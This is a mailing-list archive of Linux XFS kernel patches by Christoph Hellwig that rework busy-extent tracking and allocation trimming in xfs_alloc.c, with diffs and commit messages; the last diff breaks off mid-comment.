from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824108 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Every time we reallocate a busy extent, we cause a synchronous log force to occur to ensure the freeing transaction is on disk before we continue and use the newly allocated extent. This is extremely sub-optimal as we have to mark every transaction with blocks that get reused as synchronous. Instead of searching the busy extent list after deciding on the extent to allocate, check each candidate extent during the allocation decisions as to whether they are in the busy list. If they are in the busy list, we trim the busy range out of the extent we have found and determine if that trimmed range is still OK for allocation. In many cases, this check can be incorporated into the allocation extent alignment code which already does trimming of the found extent before determining if it is a valid candidate for allocation. Based on two earlier patches from Dave Chinner. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-19 16:51:44.645299267 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-19 18:11:35.157296743 +0100 @@ -41,19 +41,13 @@ #define XFSA_FIXUP_BNO_OK 1 #define XFSA_FIXUP_CNT_OK 2 -/* - * Prototypes for per-ag allocation routines - */ - STATIC int xfs_alloc_ag_vextent_exact(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_near(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, - xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); - -/* - * Internal functions. - */ + xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +STATIC void xfs_alloc_busy_trim(struct xfs_alloc_arg *, + xfs_agblock_t, xfs_extlen_t, xfs_agblock_t *, xfs_extlen_t *); /* * Lookup the record equal to [bno, len] in the btree given by cur. @@ -154,19 +148,21 @@ xfs_alloc_compute_aligned( xfs_extlen_t *reslen) /* result length */ { xfs_agblock_t bno; - xfs_extlen_t diff; xfs_extlen_t len; - if (args->alignment > 1 && foundlen >= args->minlen) { - bno = roundup(foundbno, args->alignment); - diff = bno - foundbno; - len = diff >= foundlen ? 0 : foundlen - diff; + /* Trim busy sections out of found extent */ + xfs_alloc_busy_trim(args, foundbno, foundlen, &bno, &len); + + if (args->alignment > 1 && len >= args->minlen) { + xfs_agblock_t aligned_bno = roundup(bno, args->alignment); + xfs_extlen_t diff = aligned_bno - bno; + + *resbno = aligned_bno; + *reslen = diff >= len ? 0 : len - diff; } else { - bno = foundbno; - len = foundlen; + *resbno = bno; + *reslen = len; } - *resbno = bno; - *reslen = len; } /* @@ -541,16 +537,8 @@ xfs_alloc_ag_vextent( if (error) return error; - /* - * Search the busylist for these blocks and mark the - * transaction as synchronous if blocks are found. This - * avoids the need to block due to a synchronous log - * force to ensure correct ordering as the synchronous - * transaction will guarantee that for us. - */ - if (xfs_alloc_busy_search(args->mp, args->agno, - args->agbno, args->len)) - xfs_trans_set_sync(args->tp); + ASSERT(!xfs_alloc_busy_search(args->mp, args->agno, + args->agbno, args->len)); } if (!args->isfl) { @@ -577,14 +565,14 @@ xfs_alloc_ag_vextent_exact( { xfs_btree_cur_t *bno_cur;/* by block-number btree cursor */ xfs_btree_cur_t *cnt_cur;/* by count btree cursor */ - xfs_agblock_t end; /* end of allocated extent */ int error; xfs_agblock_t fbno; /* start block of found extent */ - xfs_agblock_t fend; /* end block of found extent */ xfs_extlen_t flen; /* length of found extent */ + xfs_agblock_t tbno; /* start block of trimmed extent */ + xfs_extlen_t tlen; /* length of trimmed extent */ + xfs_agblock_t tend; /* end block of trimmed extent */ + xfs_agblock_t end; /* end of allocated extent */ int i; /* success/failure of operation */ - xfs_agblock_t maxend; /* end of maximal extent */ - xfs_agblock_t minend; /* end of minimal extent */ xfs_extlen_t rlen; /* length of returned extent */ ASSERT(args->alignment == 1); @@ -614,14 +602,22 @@ xfs_alloc_ag_vextent_exact( goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); ASSERT(fbno <= args->agbno); - minend = args->agbno + args->minlen; - maxend = args->agbno + args->maxlen; - fend = fbno + flen; /* - * Give up if the freespace isn't long enough for the minimum request. + * Check for overlapping busy extents. + */ + xfs_alloc_busy_trim(args, fbno, flen, &tbno, &tlen); + + /* + * Give up if the start of the extent is busy, or the freespace isn't + * long enough for the minimum request. */ - if (fend < minend) + if (tbno > args->agbno) + goto not_found; + if (tlen < args->minlen) + goto not_found; + tend = tbno + tlen; + if (tend < args->agbno + args->minlen) goto not_found; /* @@ -630,14 +626,14 @@ xfs_alloc_ag_vextent_exact( * * Fix the length according to mod and prod if given. */ - end = XFS_AGBLOCK_MIN(fend, maxend); + end = XFS_AGBLOCK_MIN(tend, args->agbno + args->maxlen); args->len = end - args->agbno; xfs_alloc_fix_len(args); if (!xfs_alloc_fix_minleft(args)) goto not_found; rlen = args->len; - ASSERT(args->agbno + rlen <= fend); + ASSERT(args->agbno + rlen <= tend); end = args->agbno + rlen; /* @@ -686,11 +682,11 @@ xfs_alloc_find_best_extent( struct xfs_btree_cur **scur, /* searching cursor */ xfs_agblock_t gdiff, /* difference for search comparison */ xfs_agblock_t *sbno, /* extent found by search */ - xfs_extlen_t *slen, - xfs_extlen_t *slena, /* aligned length */ + xfs_extlen_t *slen, /* extent length */ + xfs_agblock_t *sbnoa, /* aligned extent found by search */ + xfs_extlen_t *slena, /* aligned extent length */ int dir) /* 0 = search right, 1 = search left */ { - xfs_agblock_t bno; xfs_agblock_t new; xfs_agblock_t sdiff; int error; @@ -708,16 +704,16 @@ xfs_alloc_find_best_extent( if (error) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(args, *sbno, *slen, &bno, slena); + xfs_alloc_compute_aligned(args, *sbno, *slen, sbnoa, slena); /* * The good extent is closer than this one. */ if (!dir) { - if (bno >= args->agbno + gdiff) + if (*sbnoa >= args->agbno + gdiff) goto out_use_good; } else { - if (bno <= args->agbno - gdiff) + if (*sbnoa <= args->agbno - gdiff) goto out_use_good; } @@ -729,8 +725,8 @@ xfs_alloc_find_best_extent( xfs_alloc_fix_len(args); sdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, *sbno, - *slen, &new); + args->alignment, *sbnoa, + *slena, &new); /* * Choose closer size and invalidate other cursor. @@ -780,7 +776,7 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t gtbnoa; /* aligned ... */ xfs_extlen_t gtdiff; /* difference to right side entry */ xfs_extlen_t gtlen; /* length of right side entry */ - xfs_extlen_t gtlena = 0; /* aligned ... */ + xfs_extlen_t gtlena; /* aligned ... */ xfs_agblock_t gtnew; /* useful start bno of right side */ int error; /* error code */ int i; /* result code, temporary */ @@ -789,9 +785,10 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltbnoa; /* aligned ... */ xfs_extlen_t ltdiff; /* difference to left side entry */ xfs_extlen_t ltlen; /* length of left side entry */ - xfs_extlen_t ltlena = 0; /* aligned ... */ + xfs_extlen_t ltlena; /* aligned ... */ xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; #if defined(DEBUG) && defined(__KERNEL__) /* * Randomly don't execute the first algorithm. @@ -800,13 +797,20 @@ xfs_alloc_ag_vextent_near( dofirst = random32() & 1; #endif + +restart: + bno_cur_lt = NULL; + bno_cur_gt = NULL; + ltlen = 0; + gtlena = 0; + ltlena = 0; + /* * Get a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); - ltlen = 0; - bno_cur_lt = bno_cur_gt = NULL; + /* * See if there are any free extents as big as maxlen. */ @@ -822,11 +826,13 @@ xfs_alloc_ag_vextent_near( goto error0; if (i == 0 || ltlen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_near_noentry(args); return 0; } ASSERT(i == 1); } args->wasfromfl = 0; + /* * First algorithm. * If the requested extent is large wrt the freespaces available @@ -890,7 +896,7 @@ xfs_alloc_ag_vextent_near( if (args->len < blen) continue; ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); if (ltnew != NULLAGBLOCK && (args->len > blen || ltdiff < bdiff)) { bdiff = ltdiff; @@ -1042,11 +1048,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); xfs_alloc_fix_len(args); ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbno, ltlen, <new); + args->alignment, ltbnoa, ltlena, <new); error = xfs_alloc_find_best_extent(args, &bno_cur_lt, &bno_cur_gt, - ltdiff, >bno, >len, >lena, + ltdiff, >bno, >len, + >bnoa, >lena, 0 /* search right */); } else { ASSERT(gtlena >= args->minlen); @@ -1057,11 +1064,12 @@ xfs_alloc_ag_vextent_near( args->len = XFS_EXTLEN_MIN(gtlena, args->maxlen); xfs_alloc_fix_len(args); gtdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, gtbno, gtlen, >new); + args->alignment, gtbnoa, gtlena, >new); error = xfs_alloc_find_best_extent(args, &bno_cur_gt, &bno_cur_lt, - gtdiff, <bno, <len, <lena, + gtdiff, <bno, <len, + <bnoa, <lena, 1 /* search left */); } @@ -1073,6 +1081,12 @@ xfs_alloc_ag_vextent_near( * If we couldn't get anything, give up. */ if (bno_cur_lt == NULL && bno_cur_gt == NULL) { + if (!forced++) { + trace_xfs_alloc_near_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + trace_xfs_alloc_size_neither(args); args->agbno = NULLAGBLOCK; return 0; @@ -1107,12 +1121,13 @@ xfs_alloc_ag_vextent_near( return 0; } rlen = args->len; - (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, ltbno, - ltlen, <new); + (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, + ltbnoa, ltlena, <new); ASSERT(ltnew >= ltbno); - ASSERT(ltnew + rlen <= ltbno + ltlen); + ASSERT(ltnew + rlen <= ltbnoa + ltlena); ASSERT(ltnew + rlen <= be32_to_cpu(XFS_BUF_TO_AGF(args->agbp)->agf_length)); args->agbno = ltnew; + if ((error = xfs_alloc_fixup_trees(cnt_cur, bno_cur_lt, ltbno, ltlen, ltnew, rlen, XFSA_FIXUP_BNO_OK))) goto error0; @@ -1155,26 +1170,35 @@ xfs_alloc_ag_vextent_size( int i; /* temp status variable */ xfs_agblock_t rbno; /* returned block number */ xfs_extlen_t rlen; /* length of returned extent */ + int forced = 0; +restart: /* * Allocate and initialize a cursor for the by-size btree. */ cnt_cur = xfs_allocbt_init_cursor(args->mp, args->tp, args->agbp, args->agno, XFS_BTNUM_CNT); bno_cur = NULL; + /* * Look for an entry >= maxlen+alignment-1 blocks. */ if ((error = xfs_alloc_lookup_ge(cnt_cur, 0, args->maxlen + args->alignment - 1, &i))) goto error0; + /* - * If none, then pick up the last entry in the tree unless the - * tree is empty. - */ - if (!i) { - if ((error = xfs_alloc_ag_vextent_small(args, cnt_cur, &fbno, - &flen, &i))) + * If none or we have busy extents that we cannot allocate from, then + * we have to settle for a smaller extent. In the case that there are + * no large extents, this will return the last entry in the tree unless + * the tree is empty. In the case that there are only busy large + * extents, this will return the largest small extent unless there + * are no smaller extents available. + */ + if (!i || forced > 1) { + error = xfs_alloc_ag_vextent_small(args, cnt_cur, + &fbno, &flen, &i); + if (error) goto error0; if (i == 0 || flen == 0) { xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); @@ -1182,22 +1206,56 @@ xfs_alloc_ag_vextent_size( return 0; } ASSERT(i == 1); - } - /* - * There's a freespace as big as maxlen+alignment-1, get it. - */ - else { - if ((error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i))) - goto error0; - XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - } + xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); + } else { + /* + * Search for a non-busy extent that is large enough. + * If we are at low space, don't check, or if we fall of + * the end of the btree, turn off the busy check and + * restart. + */ + for (;;) { + error = xfs_alloc_get_rec(cnt_cur, &fbno, &flen, &i); + if (error) + goto error0; + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + + xfs_alloc_compute_aligned(args, fbno, flen, + &rbno, &rlen); + + if (rlen >= args->maxlen) + break; + + error = xfs_btree_increment(cnt_cur, 0, &i); + if (error) + goto error0; + if (i == 0) { + /* + * Our only valid extents must have been busy. + * Make it unbusy by forcing the log out and + * retrying. If we've been here before, forcing + * the log isn't making the extents available, + * which means they have probably been freed in + * this transaction. In that case, we have to + * give up on them and we'll attempt a minlen + * allocation the next time around. + */ + xfs_btree_del_cursor(cnt_cur, + XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + if (!forced++) + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + } + } + /* * In the first case above, we got the last entry in the * by-size btree. Now we check to see if the space hits maxlen * once aligned; if not, we search left for something better. * This can't happen in the second case above. */ - xfs_alloc_compute_aligned(args, fbno, flen, &rbno, &rlen); rlen = XFS_EXTLEN_MIN(args->maxlen, rlen); XFS_WANT_CORRUPTED_GOTO(rlen == 0 || (rlen <= flen && rbno + rlen <= fbno + flen), error0); @@ -1251,13 +1309,19 @@ xfs_alloc_ag_vextent_size( * Fix up the length. */ args->len = rlen; - xfs_alloc_fix_len(args); - if (rlen < args->minlen || !xfs_alloc_fix_minleft(args)) { - xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); - trace_xfs_alloc_size_nominleft(args); - args->agbno = NULLAGBLOCK; - return 0; + if (rlen < args->minlen) { + if (!forced++) { + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_busy(args); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + goto out_nominleft; } + xfs_alloc_fix_len(args); + + if (!xfs_alloc_fix_minleft(args)) + goto out_nominleft; rlen = args->len; XFS_WANT_CORRUPTED_GOTO(rlen <= flen, error0); /* @@ -1287,6 +1351,12 @@ error0: if (bno_cur) xfs_btree_del_cursor(bno_cur, XFS_BTREE_ERROR); return error; + +out_nominleft: + xfs_btree_del_cursor(cnt_cur, XFS_BTREE_NOERROR); + trace_xfs_alloc_size_nominleft(args); + args->agbno = NULLAGBLOCK; + return 0; } /* @@ -2634,6 +2704,181 @@ xfs_alloc_busy_search( return match; } +/* + * For a given extent [fbno, flen], search the busy extent list + * to find a subset of the extent that is not busy. + */ +STATIC void +xfs_alloc_busy_trim( + struct xfs_alloc_arg *args, + xfs_agblock_t fbno, + xfs_extlen_t flen, + xfs_agblock_t *rbno, + xfs_extlen_t *rlen) +{ + struct rb_node *rbp; + + ASSERT(flen > 0); + + spin_lock(&args->pag->pagb_lock); + rbp = args->pag->pagb_tree.rb_node; + while (rbp && flen >= args->minlen) { + struct xfs_busy_extent *busyp = + rb_entry(rbp, struct xfs_busy_extent, rb_node); + xfs_agblock_t fend = fbno + flen; + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (fend <= bbno) { + rbp = rbp->rb_left; + continue; + } else if (fbno >= bend) { + rbp = rbp->rb_right; + continue; + } + + if (bbno <= fbno) { + /* start overlap */ + + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + * + * Case 2: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * fbno fend + * + * No unbusy region in extent, return failure. + */ + if (fend <= bend) + goto fail; + + /* + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +----------------------+ + * fbno fend + * + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Needs to be trimmed to: + * +-------+ + * fbno fend + */ + fbno = bend; + } else if (bend >= fend) { + /* end overlap */ + + /* + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * fbno fend + * + * Case 8: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Needs to be trimmed to: + * +-------+ + * fbno fend + */ + fend = bbno; + } else { + /* middle overlap */ + + /* + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * fbno fend + * + * Can be trimmed to: + * +-------+ OR +-------+ + * fbno fend fbno fend + * + * We prefer the lower bno extent because the next + * allocation for this inode will use "end" as the + * target for first block. If the busy segment has + * cleared, this will get a contiguous allocation next + * time around; if thebusy segment has not cleared, + * it will get an allocation at bend, which is a forward + * allocation. + * + * If we choose segment at bend, and this remains the + * best extent for the next allocation (e.g. NEAR_BNO + * allocation) we'll next allocate at bno, which will + * give us backwards allocation. We already know that + * backwards allocation direction causes significant + * fragmentation of directories and degradataion of + * directory performance. + * + * Always chose the option that produces forward + * allocation patterns so that sequential reads and + * writes only ever seek in one direction. Only choose + * the higher bno extent if the remainin unused extent + * length is much larger than the current allocation + * request, promising us a contiguous allocation in + * the following free space. + */ + + if (bbno - fbno >= args->maxlen) { + /* left candidate fits perfect */ + fend = bbno; + } else if (fend - bend >= args->maxlen * 4) { + /* right candidate has enough free space */ + fbno = bend; + } else if (bbno - fbno >= args->minlen) { + /* left candidate fits minimum requirement */ + fend = bbno; + } else { + goto fail; + } + } + + flen = fend - fbno; + } + spin_unlock(&args->pag->pagb_lock); + + *rbno = fbno; + *rlen = flen; + return; +fail: + /* + * Return a zero extent length as failure indications. All callers + * re-check if the trimmed extent satisfies the minlen requirement. + */ + spin_unlock(&args->pag->pagb_lock); + *rbno = fbno; + *rlen = 0; +} + void xfs_alloc_busy_clear( struct xfs_mount *mp, Index: xfs/fs/xfs/linux-2.6/xfs_trace.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_trace.h 2011-03-19 16:51:44.661297219 +0100 +++ xfs/fs/xfs/linux-2.6/xfs_trace.h 2011-03-19 16:52:48.258797626 +0100 @@ -1433,11 +1433,14 @@ DEFINE_ALLOC_EVENT(xfs_alloc_near_first) DEFINE_ALLOC_EVENT(xfs_alloc_near_greater); DEFINE_ALLOC_EVENT(xfs_alloc_near_lesser); DEFINE_ALLOC_EVENT(xfs_alloc_near_error); +DEFINE_ALLOC_EVENT(xfs_alloc_near_noentry); +DEFINE_ALLOC_EVENT(xfs_alloc_near_busy); DEFINE_ALLOC_EVENT(xfs_alloc_size_neither); DEFINE_ALLOC_EVENT(xfs_alloc_size_noentry); DEFINE_ALLOC_EVENT(xfs_alloc_size_nominleft); DEFINE_ALLOC_EVENT(xfs_alloc_size_done); DEFINE_ALLOC_EVENT(xfs_alloc_size_error); +DEFINE_ALLOC_EVENT(xfs_alloc_size_busy); DEFINE_ALLOC_EVENT(xfs_alloc_small_freelist); DEFINE_ALLOC_EVENT(xfs_alloc_small_notenough); DEFINE_ALLOC_EVENT(xfs_alloc_small_done); From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:58 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MJwmDU046899 for ; Tue, 22 Mar 2011 14:58:58 -0500 X-ASG-Debug-ID: 1300824097-0b0c01860000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 849FB36B19C for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 2c1nQUC5VrTpgtnu for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lp-0000rM-MF for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:37 +0000 Message-Id: <20110322200137.657110761@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:53 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/6] xfs: exact busy extent tracking Subject: [PATCH 3/6] xfs: exact busy extent tracking References: <20110322195550.260682574@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-better-busy-extent-tracking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824108 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update the extent tree in case we have to reuse a busy extent, so that it always is kept uptodate. This is done by replacing the busy list searches with a new xfs_alloc_busy_reuse helper, which updates the busy extent tree in case of a reuse. Also replace setting transactions to sync with forcing the log out in case we found a busy extent to reuse. This makes the code a lot more simple, and is required for discard support later on. While it will cause performance regressios with just this patch applied, the impact is more than mitigated by the next patch in the series. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-20 19:41:55.835479390 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-21 14:49:14.157973188 +0100 @@ -1396,8 +1396,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { - if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) - xfs_trans_set_sync(args->tp); + xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1); + if (args->userdata) { xfs_buf_t *bp; @@ -2459,100 +2459,6 @@ error0: return error; } - -/* - * AG Busy list management - * The busy list contains block ranges that have been freed but whose - * transactions have not yet hit disk. If any block listed in a busy - * list is reused, the transaction that freed it must be forced to disk - * before continuing to use the block. - * - * xfs_alloc_busy_insert - add to the per-ag busy list - * xfs_alloc_busy_clear - remove an item from the per-ag busy list - * xfs_alloc_busy_search - search for a busy extent - */ - -/* - * Insert a new extent into the busy tree. - * - * The busy extent tree is indexed by the start block of the busy extent. - * there can be multiple overlapping ranges in the busy extent tree but only - * ever one entry at a given start block. The reason for this is that - * multi-block extents can be freed, then smaller chunks of that extent - * allocated and freed again before the first transaction commit is on disk. - * If the exact same start block is freed a second time, we have to wait for - * that busy extent to pass out of the tree before the new extent is inserted. - * There are two main cases we have to handle here. - * - * The first case is a transaction that triggers a "free - allocate - free" - * cycle. This can occur during btree manipulations as a btree block is freed - * to the freelist, then allocated from the free list, then freed again. In - * this case, the second extxpnet free is what triggers the duplicate and as - * such the transaction IDs should match. Because the extent was allocated in - * this transaction, the transaction must be marked as synchronous. This is - * true for all cases where the free/alloc/free occurs in the one transaction, - * hence the addition of the ASSERT(tp->t_flags & XFS_TRANS_SYNC) to this case. - * This serves to catch violations of the second case quite effectively. - * - * The second case is where the free/alloc/free occur in different - * transactions. In this case, the thread freeing the extent the second time - * can't mark the extent busy immediately because it is already tracked in a - * transaction that may be committing. When the log commit for the existing - * busy extent completes, the busy extent will be removed from the tree. If we - * allow the second busy insert to continue using that busy extent structure, - * it can be freed before this transaction is safely in the log. Hence our - * only option in this case is to force the log to remove the existing busy - * extent from the list before we insert the new one with the current - * transaction ID. - * - * The problem we are trying to avoid in the free-alloc-free in separate - * transactions is most easily described with a timeline: - * - * Thread 1 Thread 2 Thread 3 xfslogd - * xact alloc - * free X - * mark busy - * commit xact - * free xact - * xact alloc - * alloc X - * busy search - * mark xact sync - * commit xact - * free xact - * force log - * checkpoint starts - * .... - * xact alloc - * free X - * mark busy - * finds match - * *** KABOOM! *** - * .... - * log IO completes - * unbusy X - * checkpoint completes - * - * By issuing a log force in thread 3 @ "KABOOM", the thread will block until - * the checkpoint completes, and the busy extent it matched will have been - * removed from the tree when it is woken. Hence it can then continue safely. - * - * However, to ensure this matching process is robust, we need to use the - * transaction ID for identifying transaction, as delayed logging results in - * the busy extent and transaction lifecycles being different. i.e. the busy - * extent is active for a lot longer than the transaction. Hence the - * transaction structure can be freed and reallocated, then mark the same - * extent busy again in the new transaction. In this case the new transaction - * will have a different tid but can have the same address, and hence we need - * to check against the tid. - * - * Future: for delayed logging, we could avoid the log force if the extent was - * first freed in the current checkpoint sequence. This, however, requires the - * ability to pin the current checkpoint in memory until this transaction - * commits to ensure that both the original free and the current one combine - * logically into the one checkpoint. If the checkpoint sequences are - * different, however, we still need to wait on a log force. - */ void xfs_alloc_busy_insert( struct xfs_trans *tp, @@ -2564,9 +2470,7 @@ xfs_alloc_busy_insert( struct xfs_busy_extent *busyp; struct xfs_perag *pag; struct rb_node **rbp; - struct rb_node *parent; - int match; - + struct rb_node *parent = NULL; new = kmem_zalloc(sizeof(struct xfs_busy_extent), KM_MAYFAIL); if (!new) { @@ -2583,66 +2487,30 @@ xfs_alloc_busy_insert( new->agno = agno; new->bno = bno; new->length = len; - new->tid = xfs_log_get_trans_ident(tp); - INIT_LIST_HEAD(&new->list); /* trace before insert to be able to see failed inserts */ trace_xfs_alloc_busy(tp, agno, bno, len, 0); pag = xfs_perag_get(tp->t_mountp, new->agno); -restart: spin_lock(&pag->pagb_lock); rbp = &pag->pagb_tree.rb_node; - parent = NULL; - busyp = NULL; - match = 0; - while (*rbp && match >= 0) { + while (*rbp) { parent = *rbp; busyp = rb_entry(parent, struct xfs_busy_extent, rb_node); if (new->bno < busyp->bno) { /* may overlap, but exact start block is lower */ rbp = &(*rbp)->rb_left; - if (new->bno + new->length > busyp->bno) - match = busyp->tid == new->tid ? 1 : -1; + BUG_ON(new->bno + new->length > busyp->bno); } else if (new->bno > busyp->bno) { /* may overlap, but exact start block is higher */ rbp = &(*rbp)->rb_right; - if (bno < busyp->bno + busyp->length) - match = busyp->tid == new->tid ? 1 : -1; + BUG_ON(bno < busyp->bno + busyp->length); } else { - match = busyp->tid == new->tid ? 1 : -1; - break; + BUG(); } } - if (match < 0) { - /* overlap marked busy in different transaction */ - spin_unlock(&pag->pagb_lock); - xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); - goto restart; - } - if (match > 0) { - /* - * overlap marked busy in same transaction. Update if exact - * start block match, otherwise combine the busy extents into - * a single range. - */ - if (busyp->bno == new->bno) { - busyp->length = max(busyp->length, new->length); - spin_unlock(&pag->pagb_lock); - ASSERT(tp->t_flags & XFS_TRANS_SYNC); - xfs_perag_put(pag); - kmem_free(new); - return; - } - rb_erase(&busyp->rb_node, &pag->pagb_tree); - new->length = max(busyp->bno + busyp->length, - new->bno + new->length) - - min(busyp->bno, new->bno); - new->bno = min(busyp->bno, new->bno); - } else - busyp = NULL; rb_link_node(&new->rb_node, parent, rbp); rb_insert_color(&new->rb_node, &pag->pagb_tree); @@ -2650,7 +2518,6 @@ restart: list_add(&new->list, &tp->t_busy); spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); - kmem_free(busyp); } /* @@ -2704,6 +2571,173 @@ xfs_alloc_busy_search( return match; } +STATIC int +xfs_alloc_busy_try_reuse( + struct xfs_perag *pag, + struct xfs_busy_extent *busyp, + xfs_agblock_t fbno, + xfs_agblock_t fend) +{ + xfs_agblock_t bbno = busyp->bno; + xfs_agblock_t bend = bbno + busyp->length; + + if (bbno < fbno && bend > fend) { + /* + * Case 1: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + */ + + /* + * We would have to split the busy extent to be able + * to track it correct, which we cannot do because we + * would have to modify the list of busy extents + * attached to the transaction/CIL context, which + * is mutable. + * + * Force out the log to clear the busy extents + * and retry the search. + */ + return -1; + } else if (bbno >= fbno && bend <= fend) { + /* + * Case 2: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------+ + * fbno fend + * + * Case 3: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Case 4: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +--------------------------+ + * fbno fend + * + * Case 5: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-----------------------------------+ + * fbno fend + * + */ + + /* + * The busy extent is fully covered by the extent + * we are allocating, and can simply be removed from + * the rbtree. However we cannot remove it from the + * immutable list tracking busy extents in the + * transaction or CIL context, so set the length + * to zero to mark it invalid. + */ + rb_erase(&busyp->rb_node, &pag->pagb_tree); + busyp->length = 0; + } else if (bbno == fbno) { + /* + * Case 6: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +---------+ + * fbno fend + * + * Case 7: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +------------------+ + * fbno fend + * + */ + + busyp->bno = fend; + } else if (bend == fend) { + /* + * Case 8: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * +-------------+ + * fbno fend + * + * Case 9: + * bbno bend + * +BBBBBBBBBBBBBBBBB+ + * 